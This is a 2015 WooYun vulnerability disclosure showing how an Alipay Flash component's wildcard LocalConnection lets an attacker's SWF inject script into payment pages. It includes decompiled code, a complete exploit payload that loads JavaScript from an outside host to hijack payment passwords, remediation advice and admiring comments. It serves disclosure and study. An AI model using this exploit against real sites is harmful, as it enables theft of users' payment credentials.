当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090187

漏洞标题:利用某漏洞进行支付宝支付密码劫取

相关厂商:阿里巴巴

漏洞作者: gainover

提交时间:2015-01-06 09:00

修复时间:2015-02-20 09:02

公开时间:2015-02-20 09:02

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-06: 细节已通知厂商并且等待厂商处理中
2015-01-06: 厂商已经确认,细节仅向厂商公开
2015-01-16: 细节向核心白帽子及相关领域专家公开
2015-01-26: 细节向普通白帽子公开
2015-02-05: 细节向实习白帽子公开
2015-02-20: 细节向公众公开

简要描述:

之前发过一个劫持登录密码的,这次发一个劫持支付密码的。
支付宝一些需要使用支付密码的页面上存在安全缺陷,导致恶意攻击者可以通过构建恶意页面来劫持到受害者的支付密码。

详细说明:

1. 我们可以看到在支付宝的一些功能页面上,会调用以下FLASH文件:https://i.alipayobjects.com/e/201309/17IDNJfn8n.swf。比如这个页面:https://yebprod.alipay.com/yeb/purchase.htm,当然还有其他好多页面会调用,这里不一一列举了。

1.jpg


2. 接着我们来分析分析这个FLASH文件。

//Main.as
Trinity.embed(this); //<-- 调用了 Trinity类的embed方法


embed方法:

//Trinity.as
_local3 = 外部参数.group <-- _group
_local5:Engine =new Engine(_loca3)
_local5.connect();


接着看Engine类:

//Engine.as 
function connect(){
this.kernel.connect(this.group);
}

this.kernel = new Kernel(HANDER, this); <- this = Engine


代码进入Kernel类

//Kernel.as
public function Kernel(_arg1:String, _arg2:IReceiver){
this.privateName = guid("_");
this._sender = new Sender(_arg1);
this._receiverProxy = new ReceiverProxy(_arg2); <-- _arg2 = Engine
}


调用了ReceiverProxy类

//ReceiverProxy.as
public function ReceiverProxy(_arg1:IReceiver){
this.localConn = new LocalConnection();
super();
this.localConn.client = _arg1; <-- _arg1 = Engine
this.localConn.allowDomain("*");
}


-------------------------------------------------------------
到了这里,可以看到,最终建立了一个LocalConnection,并且allowDomain("*"),且LocalConnection的client属性指向了Engine。
这意味着,我们可以自行编写一个FLASH,来远程调用 Engine 类的 所有 public 的方法。
如果 Engine里所暴露出来的方法,存在安全缺陷,比如调用了ExternalInterface.call,且参数可控,那么必然形成安全问题。
经过分析,我们发现,receive 方法满足这一点。

3.jpg


receive在一定条件下会进入调用以下代码。

callFunc(this.onReceived, _arg1);


其中this.onReceived的定义可以在 Trinity 类的定义中看到。

//Trinity.as
...
public function Trinity(_arg1:Engine){
this._engine = _arg1;
instance = this;
_arg1.onConnected = this.onConnected;
_arg1.onMaster = this.onMaster;
_arg1.onSended = this.onStatus;
_arg1.onError = this.onStatus;
_arg1.onReceived = this.onReceived; <-- here
}
....
private function onReceived(_arg1):void{
AJBridgeLite.callJS({type:"message", data:_arg1});
}


-------------------------------------------------------------
因此,我们可以自行编写一个FLASH文件,即可远程调用支付宝的FLASH中Engine类的receive方法,从而在支付宝页面上执行XSS代码。
于是,编写FLASH代码如下:

package {
import flash.display.Sprite;
import flash.events.StatusEvent;
import flash.events.TimerEvent;
import flash.net.LocalConnection;
import flash.utils.Timer;
public class LocalConn extends Sprite
{
private var lc:LocalConnection;
public function LocalConn()
{
lc=new LocalConnection();
lc.addEventListener(StatusEvent.STATUS,function(e:StatusEvent):void{
trace(e);
});
/*timer*/
var timer:Timer=new Timer(1000);
timer.addEventListener(TimerEvent.TIMER,senddata);
timer.start();
}
private function senddata(e:TimerEvent):void{
lc.send("_group","receive",{"type":0,"to":"_group",'data':'aaaaa\\",a:(function(){if(!window.__x){window.__x=1;var s=document.createElement(\'script\');s.src=\'//xsst.sinaapp.com/poc/alipay.js?\'+Math.random();document.body.appendChild(s);}})()})})))}catch(e){}function jsEntry(){}//aaaa'},"_group");
}
}
}


以上代码,会不停的向 _group send 命令, 一旦发现 _group 这个LocalConnection,就会调用其receive函数。FLASH文件已上传至:https://xsst.sinaapp.com/poc/LocalConn2.swf
打开以上FLASH文件(注意,FLASH页面不能关闭),然后再打开 https://yebprod.alipay.com/yeb/purchase.htm 页面(需登录),就会发现会弹出提示框“demo”。

4.jpg


-------------------------------------------------------------
这样一来,我们实际上可以在这些敏感的页面下执行任意JS代码,比如将密码控件替换为普通文本框(普通用户无法察觉),从而实现劫持密码。
但上面的流程,显然存在一个局限性,就是需要一直打开https://xsst.sinaapp.com/poc/LocalConn2.swf 这一FLASH文件。
咋一想,似乎有点鸡肋,实则不然。
因为一般的支付流程, 用户先是停留在“电商”或其它“非支付页面”上,而后进入支付流程时,支付宝页面被打开,但“电商”或其它“非支付页面”依然处于打开状态。
因此,如果“电商”或其它“非支付页面”存在漏洞,使得我们可以向页面内嵌入https://xsst.sinaapp.com/poc/LocalConn2.swf,那么用户的支付密码被劫持的可能性大大增加,并且这类场景确实是十分常见的。
下面我以“搜狐视频”作为这类场景的一个实例来进行说明,具体见“漏洞证明部分”。

漏洞证明:

1. 搜狐视频存在XSS漏洞,导致我们可以在搜狐视频的页面下执行XSS。我们首先通过 http://xsst.sinaapp.com/poc/alipay.poc.htm 向 搜狐视频植入恶意代码,从而嵌入https://xsst.sinaapp.com/poc/LocalConn.swf
2. https://xsst.sinaapp.com/poc/LocalConn2.swf 这个FLASH,会不断的向 _group 这个LocalConnection发送请求。

lc.send("_group","receive",{"type":0,"to":"_group",'data':'aaaaa\\",a:(function(){if(!window.__x){window.__x=1;var s=document.createElement(\'script\');s.src=\'//xsst.sinaapp.com/poc/alipay.js?\'+Math.random();document.body.appendChild(s);}})()})})))}catch(e){}function jsEntry(){}//aaaa'},"_group");


3. 最终搜狐视频用户,在充值进入支付宝支付页面时, 上一步骤里的XSS代码将被执行,支付页面里被注入//xsst.sinaapp.com/poc/alipay.js文件。
4. //xsst.sinaapp.com/poc/alipay.js 为了做演示,将密码控件框替换成普通密码框,劫持用户密码。

2.jpg


可以看到密码被劫持

3.png


5. 当然好多个地方的页面,用到了支付密码的均受到了影响。

4.png


-------------------------------------------------------------
最后,我也录制了一个演示视频。
http://v.youku.com/v_show/id_XODY1NDEzMjM2.html
密码:wooyunalipay

修复方案:

1. localconnection本身也是一个存在安全隐患的点,尽量避免使用localconnection.allowDomain("*")
2. ExternalInterface.call 的参数如果是可控的,在进入前一定要过滤一下。 可以考虑在该FLASH的AJBridgeLite类里做统一处理。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-06 15:26

厂商回复:

感谢您对阿里巴巴安全的支持

最新状态:

暂无


漏洞评价:

评论

  1. 2015-01-06 15:40 | f4ck ( 实习白帽子 | Rank:42 漏洞数:7 | 有些人很牛B,一个漏洞能刷成N个。)

    支持二哥。

  2. 2015-01-06 16:09 | 李旭敏 ( 普通白帽子 | Rank:469 漏洞数:71 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    二哥终于出关了

  3. 2015-01-06 16:10 | 乐乐、 ( 普通白帽子 | Rank:853 漏洞数:189 )

    ................................

  4. 2015-01-06 23:22 | Aphxg ( 路人 | Rank:6 漏洞数:2 )

    二哥威武 天下无敌,我想这个世界上再也没有人是二哥的对手了,三界五行之中无仙无佛可以阻拦二哥,祝二哥早日一统天下。吾皇万岁万岁 万万岁。

  5. 2015-01-07 13:58 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    为什么关注的这么少。难道都是土豪,不怕支付密码被二哥弄走!

  6. 2015-01-07 20:27 | 晏子 ( 路人 | Rank:6 漏洞数:4 | 无)

    mark

  7. 2015-01-13 13:18 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    这个漏洞没有提醒关注?看来是先匿名发了,然后才取消匿名了,要么就是乌云bug了

  8. 2015-01-23 16:24 | LaiX ( 普通白帽子 | Rank:128 漏洞数:39 | 承接 建站、仿站、维护、反黑客、代码审计...)

    二哥早已跳出三界外,不在五行中

  9. 2015-02-04 20:51 | 动后河 ( 实习白帽子 | Rank:51 漏洞数:13 | ☭)

    厉害

  10. 2015-02-07 15:51 | lopo ( 路人 | Rank:4 漏洞数:2 | 不一样的烟火)

    真牛掰~~膜拜大牛

  11. 2015-02-07 18:11 | 夏殇 ( 路人 | Rank:30 漏洞数:21 | 不忘初心,方得始终。)

    屌屌的

  12. 2015-02-07 18:56 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)

    跪着看完

  13. 2015-02-07 23:21 | noob ( 实习白帽子 | Rank:81 漏洞数:18 | 向各位大神学习,向各位大神致敬)

    屌,现在都开始研究flash xss了?

  14. 2015-02-17 07:46 | Davidoff ( 路人 | Rank:1 漏洞数:1 | 品牌创立人季诺·大卫杜夫(Zino Davidoff...)

    大神出手就是不一样

  15. 2015-02-20 09:31 | 一只猿 ( 普通白帽子 | Rank:463 漏洞数:89 | 硬件与无线通信研究方向)

    思路很不错,学习了

  16. 2015-02-20 10:16 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    完美

  17. 2015-02-20 14:45 | 动后河 ( 实习白帽子 | Rank:51 漏洞数:13 | ☭)

    技术精湛老道

  18. 2015-03-03 10:41 | Stardustsky ( 路人 | Rank:4 漏洞数:3 | ……)

    跪着看完+1

  19. 2015-07-22 15:02 | 土夫子 ( 普通白帽子 | Rank:173 漏洞数:41 | 逆流而上,顺势而为)

    跪着看完+1